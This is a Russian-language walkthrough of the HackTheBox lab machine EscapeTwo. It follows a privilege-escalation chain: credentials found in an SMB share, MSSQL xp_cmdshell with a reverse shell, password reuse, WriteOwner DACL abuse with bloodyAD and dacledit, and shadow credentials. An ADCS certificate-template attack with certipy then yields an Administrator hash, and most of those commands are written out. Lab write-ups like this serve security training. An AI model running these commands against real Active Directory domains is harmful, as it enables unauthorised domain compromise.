
HTB machine link:
https://app.hackthebox.com/machines/EscapeTwo
Recon#
Из описания тачки нам уже была предоставлена базовая учетная запись для старта: «Как обычно бывает в реальных пентестах Windows, вы запустите эту машину с учетными данными следующей учетной записи: rose / KxEPkKe6R8su».

rose
KxEPkKe6R8su
Просканируем открыте порты, тут у нас все стандартно для windows машины

Начнём с проверки выданной нам учетки на валидность и добавим полученное доменное имя sequel.htb в /etc/hosts/


echo "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts
User flag#
Попробуем базовое перечисление smb

Можно зайти через smbclient

Бегая по каталогам, находим интересный нам Accounting Department. Нужно скачать его с помощью команды get, а затем распаковать.
smbclient //10.10.11.51/Accounting\ Department -U rose --option='client min protocol=SMB2'



Внутри будут находиться учетные данные пользователей, которые мы сможем использовать позже.


Учетная запись sa является дефолтной админской учёткой для подключения и управления БД MSSQL. Проверка показала, что учетка валидная, попробуем воспользоваться mssqlclient из impacket для входа в систему.

Отлично, теперь мы - sa!) По умолчанию хранимая процедура xp_cmdshell отключена в MSSQL, но мы можем её включить и пользоваться всеми её преимуществами.
Обязательно обыскиваем хост на предмет чего-то полезного. Например, на нём есть примечательные файлы для развертывания MSSQL.

Сохраняем SQLSVCPASSWORD, он нам пригодится позже.
Самое полезное, что удаётся сделать - поймать reverse shell на свой прослушиватель. В примере ниже используется PowerShell нагрузка, закодированная в base64.

На текущий момент мы являемся пользователем sql_svc. У него есть определенные привилегии, например можно запустить winPEAS и быстренько собрать ключевую информацию о системе.


Один из интересных моментов - информация о том, что в системе когда-либо были авторизованы всего три пользователя - sql_svc, Administrator и ryan (жаль, что не Гослинг). Не трудно догадаться, что получение прав этого пользователя и будет нашим следующим вектором.
Методом проб и ошибок было определено, что для аутентификацией под пользователем ryan достаточно просто подобрать к нему пароль по списку всех паролей, ранее собранных в системе.

Таким образом мы получаем возможность аутентифицироваться на сервере под пользователем ryan. На рабочем столе пользователя забираем user flag.

Root flag#
Далее рассмотрим эксплуатацию списков контроля дискреционного доступа (Discretionary Access Control Lists, DACL) с использованием разрешения WriteOwner. Злоупотребление разрешением WriteOwner может привести к смене владельца объекта на контролируемого злоумышленником пользователя (в данном случае им является ryan) и захвату объекта.
Поиску вектора поспособствовал отчёт bloodhound.

На схеме чётко видим, что за счёт прав WriteOwner от пользователя ryan можно заабузить учётку ca_svc.

Ниже перечислены команды, которые помогут нам захватить контроль над ca_svc
Используем bloodyAD для изменения владельца объекта ca_svc на пользователя ryan:
bloodyAD --host {host name} -d {domain name} -u {user} -p {password} set owner ca_svc ryan

Далее установим полные права (FullControl) для ryan. Теперь мы сможем от этого пользователя управлять объектом, включая возможность его изменения и удаления.
dacledit.py -action 'write' -rights 'FullControl' -principal '{user}' -target 'ca_svc' '{domain name}'/'{user}':'{password}'
Следующая команда certipy-ad для автоматического абьюза shadow учетной записи ca_svc. Мы подключается к контроллеру домена по IP-адресу (-dc-ip) и используем указанные учетные данные для аутентификации.
certipy-ad shadow auto -u {user}@{domain} -p '{pass}' -dc-ip {ip} -ns {ip} -target {ip} -account ca_svc

Далее ищем уязвимости в целевом хосте с использованием Kerberos аутентификации.
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target {host name} -dc-ip {ip} -vulnerable -stdout

Команда ниже создает запрос на получение сертификата с использованием шаблона DunderMifflinAuthentication.
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -target {host name} -dc-ip {ip}

Эта команда создает запрос на сертификат для учетной записи ca_svc, используя указанные хеши и шаблон:
certipy-ad req -u ca_svc -hashes :hashes -ca sequel-DC01-CA -target {host} -dc-ip {ip} -template DunderMifflinAuthentication -upn Administrator@{domain} -ns {ip} -dns {ip}

Теперь дело за малым - аутентифицируемся с использованием PFX-файла, который был получен шагом ранее:
certipy-ad auth -pfx {some.pfx} -dc-ip {ip}
В замен мы получаем хеш.

Всё, что остается - воспользоваться evil-winrm и свеженьким хешом администратора. На рабочем столе нас будет ждать root flag.
